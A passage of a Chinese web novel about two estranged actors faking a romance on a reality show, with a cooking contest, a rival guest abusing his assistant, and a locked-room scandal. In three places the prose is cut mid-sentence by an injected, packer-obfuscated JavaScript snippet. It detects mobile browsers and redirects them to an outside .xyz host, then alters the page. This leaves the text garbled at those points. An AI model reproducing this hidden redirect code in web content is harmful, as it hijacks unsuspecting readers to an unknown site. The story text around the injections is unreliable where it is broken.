中午小小地休息了一会后，嘉宾们再次在客厅聚集。 下午的安排也还算和缓，只是各组间进行一场厨艺比拼， “做完一顿饭后，会由我们请的评委们来为各位评出名次，这个排名决定了后面几天由谁来掌控财政大权哦。” “对了，”节目组补充道，“浪费是可耻的，所以最后老师们需要把自己做的东西都解决完。” 【已经预感到必定有厨房杀手出没了哈哈哈。】 【我直接点名秦祁沈絮。】 弹幕里一片欢声笑语，大多都是想看秦祁和沈絮的笑话。毕竟这两位长得就很不食烟火，这么多年也没听说过他俩谁会做饭。 然而最先崩溃的却是冉星洲。 “怎么办啊啊啊啊！”冉星洲抓住颜莫的肩膀就是一顿狂摇，“难道我们真的要把M国主妇给孩子做的，没加一滴水，纯纯用黄油熬出来的玉米减脂餐端上餐桌吗？” 冉星洲有过几年的留学经历，但似乎是为了拒绝刻板印象，几年的流浪M国生涯也没能让他学会做饭。 怎么说呢，某种程度来说，他也很顽强。 颜莫被他摇得头晕，说话都好像带了点电音效果：“不要美化自己，你明明对食物唯一的处理方式就是日的一声打成糊糊。” 【这是什么先天末世圣体。】 【小莫！拆台的人是会没老婆的！】 阮语琦倒是很淡定，她对自己的认知很清晰，做饭那是半点不会的。 她果断拍了拍男朋友的肩：“靠你了，放心，你做成什么样子我都会跟你同甘共苦的。” 廖榕：“那倒是也不至于……” 一点家常菜他还是不在话下的。 而看完了一圈戏的秦祁懒懒地靠在沈絮身上：“今天全靠阿絮带我这个病号了呀。” 沈絮本来还在下意识往旁边看有没有压到秦祁的伤口，听到这个称呼，他面上倒是不露声色，放在身后的手却隐约被掐到发白。 不过他很快收拾好了这一刹那的失神——起码比刚刚在车上快得多。 或许脱敏疗法真的管用。 “秦老师有没有听过一句话？” “什么？” 沈絮伸手挠了挠秦祁下巴，要放下时却被秦祁抓住扣在手心。 沈絮瞥了眼他们交叠着的手，说：“有情饮水饱啊，咱们剩下几天就指着这句话过吧，啊。” 【把不会做饭说的这么高端。】 【《语言的艺术》】 【这里有两个人，明着在调情，暗地里也在调情。】 【卖得有点太过了兄弟，有点想yue。】 话虽是这么说，沈絮还是带着人往厨房去了。 为了比赛方便，节目组把厨房隔出了三块，每部分也是麻雀虽小五脏俱全。 沈絮打开冰箱简单翻看了下食材，心里也就大概有了数。 节目组没在这一块故意难为他们，各种食材配料调料给得都挺全。 不过…… 【让我们看看是哪些幸运选手要去杀鱼哈哈哈。】 【好坏啊节目组，鱼虾都给活蹦乱跳的，这是指望他们谁去处理啊哈哈哈哈。】 【等一个幸运儿被鱼扇脸。】 弹幕都在猜谁会最不知死活地去尝试挑战那些鱼虾。 得票最高的是冉星洲，毕竟粉丝们都知道这死小孩对自己几斤几两没数也不是一天两天了。 但没想到的是—— 【等等。老公你在干什么。】 【不要啊！你那被投保五百万的脸不能被鱼扇啊！】 沈絮看不到弹幕在说什么，他简单地把长发扎了个马尾，拢了拢耳畔的碎发，围上围裙就往水池边走去。 路上还顺手帮因为受伤而动作迟缓的秦祁把围裙系了个蝴蝶结——虽然他也没指望这位病号先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796839|158327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生做什么，但仪式感还是得有的。 弹幕上一片鬼哭狼嚎，也有不少想要看他笑话的。 但所有人很快大跌眼镜。 沈絮不仅没被鱼霸凌，反而三下五除二就把鱼收拾地服服帖帖。 沈絮手起刀落，一刀拍晕了在案板上挣扎的鱼，接着就开始有条有理地杀鱼、放血、去鱼鳃、去内脏、刮鱼鳞。 动作相当熟练，冷酷地好像在大某发杀了十年鱼。 【？不是，你会做饭啊？啊？？？】 【天杀的为什么秦祁看起来一点都不吃惊！你是不是早就知道！】 在欣赏沈絮做菜的不止有弹幕，还有秦祁。 不得不说，看美人干什么都是一种享受——哪怕此时的美人非但没有洗手做羹汤的温柔感，反而像个生杀予夺的冷面阎罗。 沈絮这边刚给鱼开膛破肚完，又像阎王爷点名一样拎起了只肥美的罗氏虾。 虾跳得十分生龙活虎，配上滑溜的外壳和耀武扬威的钳子，简直令人望而生畏，恨不得只用指甲捏着它，再把手伸十米远。 但沈絮丝毫不为所动，眼都不抬地从台面上拿起把剪刀，咔咔几声就把虾钳连带着四处抽打的虾须一同剪掉了。 紧接着，沈絮翻到虾的背部，在第二节处插入刀尖，手指轻轻一挑，将虾线拉出后又继续沿着虾背剪开，以便后续入味。 【嘶……好辣……】 【老婆，可以像挑虾线一样挑我的脚筋吗？】 【老婆，可以像拍鱼一样给我一巴掌吗？】 弹幕刷新间，沈絮已经飞快地处理好了大半的虾，正要接着把这些料理完的时候，额前的几缕头发却因为动作而松落下来。 这几撮头发不仅挡视野，还时不时挠一下沈絮的脸，恼人得很。 但沈絮又嫌专门去洗手再捋头发麻烦，强耐着处理了两只虾后，还是有些忍不住，重重地叹了口气。 正打算认命去洗手，却突然感觉身后覆上了一股熟悉的气息。 是秦祁。 秦祁侧过头看了眼沈絮掉下来的头发，干脆把橡皮筋给解了下来，将长发拢在手心。他以手作梳，将长发梳理整齐后想了想，干脆给沈絮扎了个丸子头。 沈絮能感受到后颈处传来的热意，这次轮到他受刑。 秦祁的动作还没有停，他不知道从哪掏出几个发卡，扳着沈絮的肩让人侧过身，再帮忙把一些顽固的碎发夹上去。 沈絮抓着只虾，进也不是，退也不是。 他说：“急什么，一会弄脏你衣服。” 秦祁笑着回：“当然要急，等了半天，好不容易有我可以帮上忙的地方。” 沈絮抬头，看到了秦祁的眼睛。 那双眼睛里已经没有了几天前的回避和无措，一种崭新的、更为锋利的情绪占据了那里，就连泪痣都显得像战书末尾的印章。 那里面闪烁的炽热不是爱意，就算在外人面前可以以假乱真，但骗不了沈絮。 沈絮读懂了那份不甘心，有些想要叹息，可又觉得就该如此。 毕竟像一滩死水一般平静又死寂从不是他们的风格。 他们就该针锋对麦芒。 所以沈絮回过身去，仔细地洗干净了手，又当着秦祁的面拿出了手机，打开微博。 秦祁就这么看着他从相册的收藏中点出了一张照片。 那照片已经有些年头了，拍的时候也没有很用心，显得有些模糊。 但还是可以很轻易地看出来，那属于沈絮的半张脸，和腿上那显眼的纹身。 照片的右下角显示着拍摄时间，那是六年前，二月十三日的深夜。 沈絮手指轻轻一动，点击了发送。 他说：“帮忙的好孩子当然会得到奖励。” 5. 第 5 章 “时间到了，请各位老师把菜品都摆到桌上吧，我们的评委已经到了。” 听到节目组通知，沈絮利落地把菜都装盘，正要回头叫人，就看到秦祁已经自觉地站到了旁边，端起菜就走。 怪自觉的。 两人就这么并肩进了餐厅，跟在这等候已久的“评委”撞了个正着。 餐桌旁坐着的是个面容清秀的青年，名叫林时，是个小流量，自己的热度不温不火，但在沈絮和秦祁公布恋情前，他和秦祁的cp也算是热门。 【哇塞这是什么修罗场……】 【呜呜小时……你的眼神看得我心痛痛的。】 林时见他们来了，忙起身笑盈盈地打招呼。 “祁哥，沈老师，终于见到你们了！” 说来奇怪，明明是秦祁的狂热粉丝，但从见面开始，林时的注意力就一直在沈絮身上。 林时的眼神一直在往沈絮身上瞟，可每当沈絮和他对视，他却又飞快地移开目光。 就像虽然极力掩饰，但还是流露出几分畏惧。 秦祁边把菜摆到桌上，边简单地跟林时打了个招呼。而沈絮则只是看着林时，勾起嘴唇，点了点头。 气氛莫名地僵滞了一瞬。 好在此时一个飞速靠近的“哇”声拯救了这马上就要被看出端倪的诡异气氛。 “絮哥你怎么这样！”冉星洲飞扑过来抓住沈絮的胳膊，指着桌上的菜崩溃道，“你知道刚刚几个小时，我是想着好歹还有你能和我们作伴才坚持下来的吗？” 此时导播也很灵性地把镜头切到了桌面上，上面赫然摆着一盘清蒸鱼、一盘油焖大虾和一锅排骨玉米汤。 因为出锅的时候沈絮还特意摆了下盘，此时几道菜显得格外诱人，直接把屏幕里外的人都看饿了。 【爬去点外卖了。】 【发出灵魂呐喊：妈！！！】 而此时的颜莫姗姗来迟，默默把一大碗方便面贡到了桌面上。 对比实在过于惨烈，沈絮忍了几下还是没忍住，偏过头笑了。 他这一偏头，其他人和观众倒是看不太着了，可秦祁却直接被此人的美貌暴击了一下。 人都是视觉动物，秦祁也不能免俗。 毕竟当年他俩能谈上，有相当一部分原因是因为他们都对彼此见色起意。 但按理说这么多年过去，就算是天仙也该看腻了。可秦祁这视觉动物的本能就是这么没出息，看人笑一下，心里的死鹿又开始不知死活地乱跳，脑子里只有一个想法—— 他这下笑得比刚刚好看多了。 或者说，这是重逢以来，沈絮笑得最好看的一次。 ……居然就因为一盆方便面？ “不要笑！这可是在锅里煮出来的方便面！”冉星洲说得自己都有点憋不住了，“这可是对方便面的最高礼遇！” 颜莫：“这是经过我们缜密思考后，得出的最吃不死人的方案了。” 【是这样的，我作证。】 【我一想到这俩一个把榨汁机当合成炉，一个把电饭煲当炼化器我就想笑。】 众人忍俊不禁。 “深藏不露啊我絮。”阮语琦一边把自己组的番茄炒蛋和青椒炒肉摆上桌，一边调侃，“我认识你这么久，都不知道你厨艺这么好，看来是我不配了。” 【气死我了气死我了，一想到我老婆这惊世厨艺居然藏起来只做给秦祁吃我就生气。】 【我愿意嫁给沈絮，哪怕要跟秦祁每日相见。】 眼看菜上齐，林时也就抓起了筷子：“我准备好大饱口福了。” 冉星洲悄悄探头：“可以把絮哥的菜给我们留几口嘛小若？” 【死孩子怎么这么馋啊哈哈哈哈。】 林时也不禁莞尔，手下的筷子却是转了个弯，先从番茄炒蛋尝起。 或许是有着维持形象的要求，林时吃的有些过于斯文了。本来他夹到碗里的分量就不多，加上恨不得一口菜嚼八十下的细嚼慢咽，一小口炒蛋硬是吃了一分多钟。 “挺好吃的，”林时嘴角的梨涡若隐若现，“有种家的味道，我妈妈以前也经常做这道菜，我都有点怀念了。” “阿姨做饭应该也很好吃吧？” 林时点点头，眼中浮现几分怀念：“小时候爸爸工作忙，有时候好几天都回不来，等终于不加班的时候，妈妈经常做一桌子菜，我就跟着一起坐在餐桌边，等着爸爸回来开饭。” “爸爸回来的时候，总是会给我们带礼物，说对不起不能经常陪着我们。刚开始因为爸爸带回来的糖果和玩具，我还总期盼爸爸出差，但是后来看妈妈老是一个人发呆，又想爸爸能多陪陪我们。” 【哎哟小时宝宝，听得我哈特软软。】 林时就这么一边慢慢品菜，一边聊自己小时候的事情。 大家就这么一边听，一边是不是聊上几句，时间不知不觉地被消磨掉。 秦祁看似在听，其实注意力已经悄悄偏移了。 虽然沈絮面上看不出任何端倪，但他直觉沈絮的心情不太好。 【怎么还在聊，菜都要凉了，不影响评分吗？】 【差不多得了，其实0个人在意你的童年时光哈。】 【嘻嘻秦祁看起来可不像有什么意见呢，到底是哪家在破防我不说哈。】 等了半晌，林时终于把筷子移到了沈絮这边。 “我来之前还以为能吃到祁哥做的菜的，”林时下筷前突然叹了口气，“好可惜，之前吃了一次我记挂到现在呢。” 【什么秦祁也会做饭？？？】 【小时宝宝在撒娇！秦祁你快哄哄他啊！】 【kdlkdl，短短几句话胜过某人累死累活演好几天，是真是假无需多言哈。】 【对上面几个：人无语的时候真的会笑。】 在场其余四人也是一脸惊讶，转头向秦祁求证。 秦祁几不可察地皱了皱眉，而后笑了笑，没有接话。 只有沈絮不以为意：“他的双皮奶做得不错，后面要是有机会让他给大伙露一手。” “祁哥做的焦糖烤布蕾也好吃呢。”林时道，“多才多艺我祁哥。” 沈絮回忆了下：“烤布蕾啊，好像也吃过，太甜了。” “是有点，”秦祁道，“做了一两次后面就再没做过了。” “下次有机会还是给大家做双皮奶那种不太甜的甜品吧，姜撞奶我也会。” 【？你在说什么鬼话，你的口味不一直是重糖重辣重油盐吗？】 【老婆不爱吃就不做了是吧？】 【讨好老婆的手段罢了。】 【在场的是谁爱吃不甜的甜品呢，好难猜呀。】 林时顿了顿，终于愿意下筷子宠幸那几盘已经半冷的菜。 一筷子鱼进口后，林时嚼了几下，第一次在咀嚼中途停了下来，没咽下去。 “有点腥……” 林时像是下意识说了句，意识到后马上刹车，怯怯地瞥了沈絮一眼，整个人都局促了起来。 【大哥鱼冷了肯定腥啊，你在装什么……】 【前面非要说那么久，现在菜冷了就甩锅是吧？】 【有没有可能就是沈絮的问题啊，承认自己装逼失败就这么难吗？】 “怎么会，看起来很香啊。”冉星洲一脸怀疑地上来夹了一口，“挺好吃的啊，就是有点冷了而已。” 沈絮倒不大在意：“各花入各眼，吃不来也正常。” 【啊这样就让一个人评真的好吗，要是像这样遇到忌口的真的很不公平啊。】 虽然众人心思各异，但最后林时还是把第一给了被他狠狠发感情牌的番茄炒蛋上。 公布结果后，沈絮挑挑眉，冉星洲似是想说什么，却被颜莫拉住。而阮语琦微微面露尴尬，廖榕也只是说了几句场面话。 秦祁则是一言不发地把鱼虾都扒拉到自己面前，打算自己把它们料理干净。 冉星洲一看，连忙扑上去让秦祁给他们留点。 “我们真的不可以只靠这盆泡面度过今晚！求你了祁哥！” 这么吵吵闹闹的，也算是给这一环节落了幕。 只是私下里，没有观众目光聚集之处，不知又起什么波澜。 ———— “都跟你讲了别这么冲动，你今天最后这几下，别人又要说你针对林时，小牌大耍了。” 颜莫皱着眉，一边给没吃饱的冉星洲掰巧克力，一边小声数落他。 “我看他烦，”冉星洲撇嘴，“之前在剧组他怎么对你的你都忘了？我看他才是小牌大耍第一人，当初那样折腾你，要不是絮哥看不下去把他轰走，你都得去半条命……后来看你有点起色了居然还好意思回来套近乎！” 颜莫叹气:“你看我被为难心疼，我看你在网上被骂难道就好受了吗？” 冉星洲把颜莫递给他的巧克力又掰了一半，塞进颜莫嘴里，眼睛眨巴眨巴地盯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796840|158327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着颜莫看。 “别生气啦。” “对了，你说我们昨晚看到的那件事，要不要跟絮哥说一下啊？” ———— “哥……”助理怯生生地敲了敲门，端着杯热可可进了林时的房间，“你要的热可可。” 林时皱着眉，很不耐烦：“放一边，没心情喝。” 小助理抿了抿唇，握着杯子的手攥得发白，却最终还是没敢说什么，忍气吞声地把被子轻轻放在了林时的床头柜上。 没想到一个不注意，她直起身时磕到了床头的台灯，重心不稳之下劈里啪啦地带倒了床头柜上的一整摞剧本。 “啊！” 满满一杯滚烫的热可可被一把泼在了小助理脸上。 “你是干什么吃的！天天在这膈应我！”林时泼了可可后犹嫌不解气，劈头就把手里的杯子狠狠摔到了小助理身上。 “怎么，把我气死了你好去抱沈絮那根烂黄瓜的大腿？” 小助理捂着脸，还没从突如其来的剧痛中缓过神来，就连呼吸都是颤抖的。 但她依然下意识地鞠躬，连声道：“对不起，哥，对不起，是我不小心，我现在给你打扫干净……” 林时听着那带着哭腔的声音，反胃道：“装什么可怜，我冤枉你了吗？” 小助理头脑一片空白，除了鞠躬道歉，她想不出来别的办法了。 但同时，越来越浓的委屈也浮上了她心头。 现在时半夜十二点，就算是牲口也该下班了！可她却要因为林时的一时兴起，跑下山去满大街地买一杯热可可。 她也小小地挣扎过，说别墅厨房里就有可可粉。 林时当时是怎么说的呢？ 他说：“不想吃这破别墅里的东西，看着就倒胃口。” 小助理当时看着他已经很不好的脸色，想起来进来之前同事提醒自己说，林时因为下午被嘉宾下脸气到现在，正到处找人撒火。 看着林时越来越黑的脸和已经蠢蠢欲动的手，小助理只好赶紧答应下来，在深夜独自下山买饮料。 结果最后还是没逃过这顿打骂。 这样的事已经快要成为日常了。 小助理憋回眼眶中的泪水，见林时的情绪似乎稍有平复，连忙小心地把地上的剧本捡起来摆好。 小助理把呼吸都放得很轻，问：“哥，要我……再下去买一杯吗？” 林时冷冷地打量了她两眼，大发慈悲道：“不用了。” 小助理一喜，正要退出房间，却又听到林时开口。 “等一下。”林时露出一点笑，冲小助理招了招手，“这盒药你拿过去，这两天好好擦一下被烫的地方——尤其是脸。” 小助理有些莫名，却还是接过了药，道了谢。 “对了，”林时说，“这几天务必把你的脸养好了，录完节目我带你去个酒会，好好打扮，别给我丢脸。” “……酒会？” 小助理一脸茫然。 她是个小人物，平常只负责林时的一些日常琐事，像酒会这种交际场合，一般都是公司的老人吴助理带着林时去的。 怎么这次…… “吴哥不去吗？” 林时白了他一眼：“又不是什么天大的场面，哪用得着吴哥。总之，你打扮得漂亮点就行了。” 小助理咽了咽口水。 “给人当牛做马不好受吧？”林时笑着看她，“这酒会可是个攀上枝头的好时机啊，要不是看你听话，我才不给你这个机会呢。” “放心吧，王总我熟。你跟着他，有的是甜头。” 小助理不知道自己是怎么回到房间的。 直到坐在床上，她的耳畔仍有耳鸣盘旋。 她不敢相信自己听到了什么。 忽然，小助理的余光瞥到了床头柜上摆着的一个U盘。 ……U盘。 小助理咬紧了牙。 忍一忍就好了。 在给林时工作这几年里，她一直都是这么想的。 忍一忍，不就被骂一顿吗，又不掉块肉。 忍一忍，不就被打几下吗，也痛不了多久。 她一直这么劝自己。 可现在，终于到了忍无可忍的时候。 她伸出手，悬在半空，整个小臂都在颤抖。 她的手掌握拳又展开，手一点点地探向床头。 “啪！” 她一把握住了那个U盘。 6. 第 6 章 秦祁推开房门的时候，看到的就是已经换好了睡袍，无所事事地靠在床头刷手机的沈絮。 “我们今晚怎么睡？” 沈絮抬眼：“你要是介意的话，你就去睡沙发。” 真是一点都不客气。 不过因为早有准备，秦祁对沈絮这镜头前后的两幅面孔也见怪不怪。 他只是笑：“我有什么好介意的。” “那就滚去洗澡，”沈絮重新低下头，开始敲敲打打地回消息，“敢带着一身臭汗上床就等死。” 秦祁耸肩，去行李箱里翻衣服。 走到放箱子的墙角，秦祁才发现沈絮的箱子还躺在地上，拉链也没拉起来，只是虚掩着。 沈絮这个人看上去不声不响，实际上少爷毛病不少。 找东西的时候他管杀不管埋，管拿不管收也不是一天两天了。他俩还在一起的时候，秦祁第一次去沈絮家里就被他收东西的随意程度狠狠震惊了一把。 倒也称不上凌乱，就是……过于随意了。 秦祁看不下去，每次都帮他收拾。结果这厮刚开始还抱怨说，本来东西虽然乱，但他都能找着，被秦祁这么一收，他想找东西都不知道从哪下手。 秦祁一腔好心被当成驴肝肺，当即就不干了，瞪着双委屈巴巴的狗狗眼，也不说话，就是沈絮走哪他目光跟到哪。 沈絮那时候哪受得了这个，撑不了几分钟就缴械投降，把自己家的收纳权拱手相让。 到后来不止家里，出门的时候只要是俩人一块儿，都是秦祁收拾东西。沈絮到地方拿了东西就把箱子一撇，反正自有人会帮他归位，他乐得轻松，还不用挨秦祁说他收东西没个条理的唠叨。 少爷得了便宜，也就顺势卖个乖，每次都笑眯眯地看秦祁收拾，甜言蜜语跟不要钱一样往外蹦。 沈絮也不愁找不着东西，不行就问呗，长嘴不就是用来说话的？ 所以说习惯都是可怕的，哪怕离当初那段日子都过去四五年了，但看到沈絮那躺在地上的箱子，秦祁下意识地就伸手要给人收起来。 哪知道手离箱子还隔着十万八千里呢，就听到了一声冷冰冰的呵斥。 “——别动！” “？” 秦祁皱着眉回头，有些茫然。 沈絮抿了抿唇，脸色不太好看：“别动我东西。” 秦祁简直气笑了。 真特么狗咬吕洞宾。 “行，”秦祁点点头，把那挡道的箱子往里一推，“您箱子金贵，您自己来，啊。” 行李箱在地面上狠狠摩擦，发出刺耳的“刺啦”声。 秦祁跟着声音看过去，这才发现这个箱子是他们之前一起买的那套情侣款。 沈絮这只是白色的，不如秦祁那个黑色的耐操，一点磕磕碰碰就容易留下印子。 刚拿到手那一阵，沈少爷简直对它呵护的不行，平生第一次学会了什么叫“轻拿轻放”。 倒也不是真缺这么点换箱子的钱，只是觉得，生来就是一对的东西，当然要好好呵护。 ……刚刚磨那么一下，怎么看朝地那一面都要被划花一大片了。 沈絮看了箱子，沉默了几秒，也没说什么，慢慢靠回了床头。 只是拿着手机的手，直到息屏也没再动一下。 也不知道一直盯着屏幕在看什么劲。 秦祁深呼吸了一下，把自己的箱子放倒，拿了东西就往浴室走。 深蓝色的行李箱就这么大咧咧地敞在地上，昭示着它主人那波澜起伏的心绪。 有着这么段插曲，两人都没了心情再做戏。直到关灯睡下，整个房间里都安静得像一潭死水。 关了灯后，房间里的气氛反倒缓和了不少。白天里针锋相对的情绪都淡了下去，一些更深更沉的就跟着浮了上来。 两个人背对背躺在床的两侧，渐渐连呼吸都同步。 本来以为很难熬的夜晚，竟然是五年来难得的好眠。 ———— 《恋爱实施攻略》的节目组，鬼点子向来很多。 之前几季，节目组都会设定一个起床时间，并一大早疯狂播放起床铃，把嘉宾们强制唤醒。 但昨天居然提都没提这回事。 要不怎么说反常之事必有妖呢。 这天早上八点，一片风平浪静之中，三个房间的摄像头毫无预兆地被依次打开了。 没有一个人通知嘉宾们。 也。没有。任何一个。嘉宾。起床。 一时间，嘉宾们的睡姿被大放送。 先被打开的是阮语琦廖榕房间的摄像头。 阮语琦一改荧幕前开朗肆意的模样，枕在廖榕胳膊上睡得十分安心。廖榕的一只手被女朋友当成枕头，另一只手则搂在阮语琦腰上，手指与阮语琦的发丝交缠，难舍难分。 两人的睡姿让人大呼偶像剧走入现实，弹幕上好甜与磕到了齐飞。 过了一会，冉星洲和颜莫那的摄像头也被打开了。 这俩活宝也从不让弹幕失望。 冉星洲的睡相实在是令人不敢恭维。 这死小孩把自己睡成了一滩大字，被子全被他卷巴卷巴缠到了腿上，甚至自己的肚子都没盖全。也不知道他到底是怎么睡的，睡衣都被他睡乱，露出一截随着呼吸起起伏伏的小肚子。 而颜莫显然也是习惯了他这死出，在一片混乱中居然还能找到让自己最舒服的姿势，睡得安详又不省人事。 此人还很有先见之明的给自己额外准备了一张毯子。 弹幕笑疯后，一时无言以对，半天只能蹦出来一句—— 【我很难跟你解释，我只能说这大概就是真爱。】 而在这之后，弹幕对唯一一个还没被揭开神秘面纱的房间充满了探索欲。 【怎么还不开摄像头，是豹豹猫猫昨晚的战况太激烈了所以现在还在收拾吗？】 【笑死，是不敢开吧，不然一打开居然是分床睡的多尴尬啊。】 【等一个大佬为流量献身哈。】 千呼万唤中，沈絮和秦祁房间的摄像头终于打开了。 在看清房间画面的那一瞬间，整个弹幕都静了一下。 明明昨晚还跟隔着楚河汉界一样睡在床两侧的两个人，不知道什么时候已经相拥着睡在了大床中间。 秦祁从背后搂着沈絮，手自然地搁在沈絮腰上，头埋在沈絮颈窝里，简直叫一个难舍难分。 沈絮就这么靠在秦祁怀里，有时候似乎被秦祁打在脖颈处的呼吸弄得有些痒，不由自主地偏开了头。但用不了多久，又会乖乖贴回去。 这两个人简直契合到严丝合缝，连胸膛的起伏都同步。 【我靠我靠我靠！！！】 【黑子说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796841|158327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！谁再说一句我他俩是假的试试呢？】 【dbq这真的有点磕到了，这真演不出来。】 或许是对摄像头的窥视太敏感，摄像头开了没多久，沈絮就皱着眉悠悠转醒。 他感觉到了耳畔灼热的呼吸和腰上横着的手，耳朵一时竟然有些烧。 一定是刚醒过来脑子还糊涂的缘故。 沈絮半坐起来，轻轻推了推秦祁。 如瀑般垂下的长发正好遮住了耳朵，在众人看来沈絮一切如常。 “醒醒，秦祁。”沈絮俯下身去，用只有两个人能听到的音量耳语，“摄像头在拍。” ———— 一片兵荒马乱后，六人总算把自己收拾出个人样，怨气满满地坐在客厅里，和林时一起听节目组叭叭。 “我们今天的安排是去露营，各位老师需要分成两组，一组负责下山采购物资，另一组负责留在别墅里收拾要带去的私人物品——两组会和后就直接去场地了，是没有时间确认彼此都准备了什么的哦，考验老师们默契的时候到了。” 沈絮听完后，想也没想道：“我留下来。” 秦祁对此倒是无所谓，也就遂了沈絮的愿。 一番商量后，秦祁、阮语琦和颜莫启程向山下赶去，而沈絮、冉星洲、廖榕以及林时留在别墅里收拾东西。 当林时提出自己也要留在别墅时，大多数人还奇怪了一下。毕竟，大家都以为他会一直跟着秦祁来着。 按照昨天厨艺比拼的结果，采购的财政大权掌握在阮语琦手里。 不过到了商场后，她倒是有些一筹莫展。 “露营要准备些什么呢……我没经验呀。” 阮语琦求助的目光来回扫射后，犹犹豫豫地落在了秦祁身上。 她知道前几年有段时间，沈絮对露营攀岩这类的户外活动尤为热衷，阮语琦心想，或许秦祁耳濡目染，也能懂一些，总比她这个门外汉强。 秦祁确实懂。 他不仅懂，他相当精通。 因为其实真正热衷于户外运动的不是沈絮，而是秦祁。 沈影帝懒得要死，一天天大门不出二门不迈的，空闲时间运动量大点都跟要了他命一样。 就这么个人，几年前也被美色迷混了头脑，天天舍命陪君子。 在秦祁的指导下，几人很快就把东西挑齐了。 帐篷、睡袋、防潮垫、露营灯…… 三个人扛着大包小包地回了别墅，比节目组预料的要早了很多。 这就导致虽然摄像头已经关了，但别墅里收拾东西的几位还在收尾。 过了一会，冉星洲和廖榕都拎着包出来了，但沈絮和林时却迟迟不见人。 秦祁心里隐隐觉得不对，犹豫片刻还是大步朝他们的房间走去。 或许是为了节目效果，直播镜头一路跟随秦祁到了房门前。 然后，所有人，就这么眼睁睁地看着秦祁伸手压了下门把手—— 没压动。 房门被反锁了。 秦祁心中不安更甚。 他敲着门：“沈絮？沈絮？” 里面依旧毫无反应。 秦祁敲门的动作越发大力，正当他打算转头去找节目组要钥匙的时候—— 房门开了。 林时一脸慌张地从房间里跌出来，泛红的眼角带着泪光。 7. 第 7 章 【？！】 【啊？不是，什么情况？？？】 弹幕顿时炸锅，飞速刷了一页又一页，到最后差点把整个界面都卡死。 林时身形不稳，下意识往身前抓了一把，抬头看见是秦祁，眼眶更红了。 “祁哥……” 林时的声音几不可闻，身体还带着点抑制不住的颤抖。 秦祁却没心思关心这些，他简单扫了一眼林时，确定林时没有缺胳膊少腿后，就大步跟他错身而过进了房间。 然后“咔哒”一声，再次把门反锁。 “沈絮？” 秦祁眉头紧皱，扫视一圈都没见到沈絮，定睛一看才发现浴室里头亮着灯。 听着那头隐隐约约传来的水声，秦祁这才算松了半口气。 这时秦祁倒是不急着找人了，他拿过沙发上搭着的外套，扬手甩到了摄像头上，又把身上的别着的麦克风断电，确认万无一失后，才走去敲浴室门。 “沈絮。” 等了几秒，秦祁听见浴室里的水声停了。 “怎么了？” 听到这熟悉的声音，秦祁剩下的半口气也算是松下来了。 “没事，等你出来再说。” 正好他也理一下这乱成一团的思绪。 沈絮没说什么，但浴室里的水声却没再响起，反而传来了一阵悉悉索索穿衣服的动静。 没过几分钟，沈絮推开浴室门，一边擦着湿淋淋的头发，一边走向沙发上坐着的秦祁。 “怎么，你公司要跟你解约了？”沈絮歪歪头，“一脸苦大仇深样。” 秦祁实在是不知道说他什么好。 沈絮看他盯着自己一言不发，越发莫名其妙，伸腿碰了碰秦祁的膝盖。 “睡着了？” 秦祁的喉结上下动了动。 为什么这么久不出来？ 为什么要把门反锁？ 林时为什么会在房间里？ ……你事先知道他要来吗？ 在那一瞬间，秦祁的脑中涌现出了无数个问题。 但最终，他只是问：“……怎么想到去洗澡？” 沈絮一脸奇怪：“收拾东西出了一身汗，看时间还早就去洗了啊，还能为什么？” “你身上的麦掐了没？” 沈絮指了指床头柜上摆着的收音麦，意思是早就掐了。 秦祁吐了口气，靠在沙发背上，盯着沈絮慢慢道：“刚刚，林时哭着从你房间出去。” 偏偏是哭着，偏偏是卧室。 但凡换一个地方，也不至于这么敏感。 偏偏是沈絮，偏偏在直播。 以沈絮那众所周知的风流滥情人设，秦祁都不敢想现在网上会将他说的多难听。 ……毕竟，沈絮也不是第一次被传潜规则了。 沈絮反应了两秒，眯起眼睛看着秦祁，嘴角勾起一点冷笑：“哦……你怀疑我。” 秦祁：？ 什么叫狗咬吕洞宾。 秦祁简直要被气笑了，他坐直身子，问：“你要不要听听你在说什么？” “如果不是怀疑我的话，为什么要说你的那位小迷弟，从‘我的房间’里出去呢？”沈絮不甘示弱，弯下腰猛地拉近了自己和秦祁之间的距离，“怎么，这个房间里只住了我一个人吗？” “现在的重点是我怎么想吗？”秦祁皱着眉反问，“你现在该想的是，刚刚那么多个摄像头都拍到了那一幕，你会被骂成什么样！” “是吗？”沈絮说，“那你倒是说说，我会被骂成什么样？” 秦祁第一次觉得沈絮这不进油盐的样子是那么的令人烦躁。 他不知道为什么之前不管发生什么都能保持冷静与体面的沈絮，在一句话后好像炸毛了一样，突然锋芒毕露。 